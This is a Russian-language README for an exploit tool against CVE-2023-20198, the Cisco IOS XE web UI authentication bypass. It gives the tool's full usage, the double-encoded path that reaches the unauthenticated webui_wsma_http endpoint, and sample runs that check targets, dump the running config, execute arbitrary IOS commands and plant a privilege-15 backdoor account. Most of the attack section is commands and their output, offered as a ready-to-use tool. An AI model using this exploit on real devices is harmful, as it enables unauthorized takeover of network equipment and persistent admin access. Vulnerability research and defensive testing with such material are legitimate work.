
Эксплойт PoC для CVE-2023-20198
CVE-2023-20198 характеризуется некорректной проверкой пути, позволяющей обойти фильтрацию Nginx и получить доступ к веб-эндпоинту webui_wsma_http без аутентификации.
Обходя аутентификацию на этом эндпоинте, злоумышленник может выполнять произвольные команды Cisco IOS или вносить изменения конфигурации с привилегиями уровня 15.
Расследование Cisco активной эксплуатации ранее нераскрытой уязвимости показало, что злоумышленники сначала эксплуатировали CVE-2023-20198 для добавления нового пользователя с уровнем привилегий 15. Дальнейшие атаки включали эксплуатацию CVE-2023-20273 для повышения привилегий до пользователя root базовой ОС Linux с целью облегчения внедрения.
Этот PoC эксплуатирует CVE-2023-20198, используя два разных XML SOAP-эндпоинта:
Варианты проверки уязвимости, получения конфигурации и выполнения команд нацелены на SOAP-эндпоинт cisco:wsma-exec для вставки команд в элемент execCLI.
Вариант добавления пользователя нацелен на SOAP-эндпоинт cisco:wsma-config для внесения изменения конфигурации и добавления учётной записи с уровнем привилегий 15. Этот эндпоинт можно [зло]употребить для внесения других изменений конфигурации, но это выходит за рамки данного PoC.
Эксплуатация SOAP-эндпоинта cisco:wsma-exec взята из шаблона nuclei
Эксплуатация SOAP-эндпоинта cisco:wsma-config взята из PoC horizon3ai
Примечание: я не проводил оригинальное исследование и не занимался разработкой PoC для этой CVE. Авторство указано в разделе ссылок.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Чтобы проверить наличие CVE-2023-20198, параметр -c попытается эксплуатировать уязвимость для выполнения uname -a
Пример:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
Параметр -g выполняет sh run для получения текущей конфигурации
Пример:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Произвольные команды Cisco IOS можно выполнять с помощью параметра -e.
Следует проявлять крайнюю осторожность при использовании этого параметра для изменения конфигурации. Ввод не проверяется, и изменения немедленно применяются к текущей конфигурации.
Пример:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
Параметр -a можно использовать для создания новой учётной записи с уровнем привилегий 15, при необходимости указав имя учётной записи и пароль с помощью -u и -p соответственно.
Пример:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
Параметр -d можно использовать для удаления учётной записи с устройства; при этом учитывается имя пользователя, указанное с помощью -u.
Следует быть осторожным, чтобы не удалить легитимную учётную запись.
Это было добавлено для случаев, когда невозможно получить доступ к shell/webui скомпрометированного устройства Cisco. Было замечено, что добавление пользователя с уровнем привилегий 15 не предоставляет доступ к webui и может привести к оставлению артефактов эксплуатации на хостах.
Консультация Cisco
исследование horizon3ai CVE-2023-20198
PoC horizon3ai для CVE-2023-20198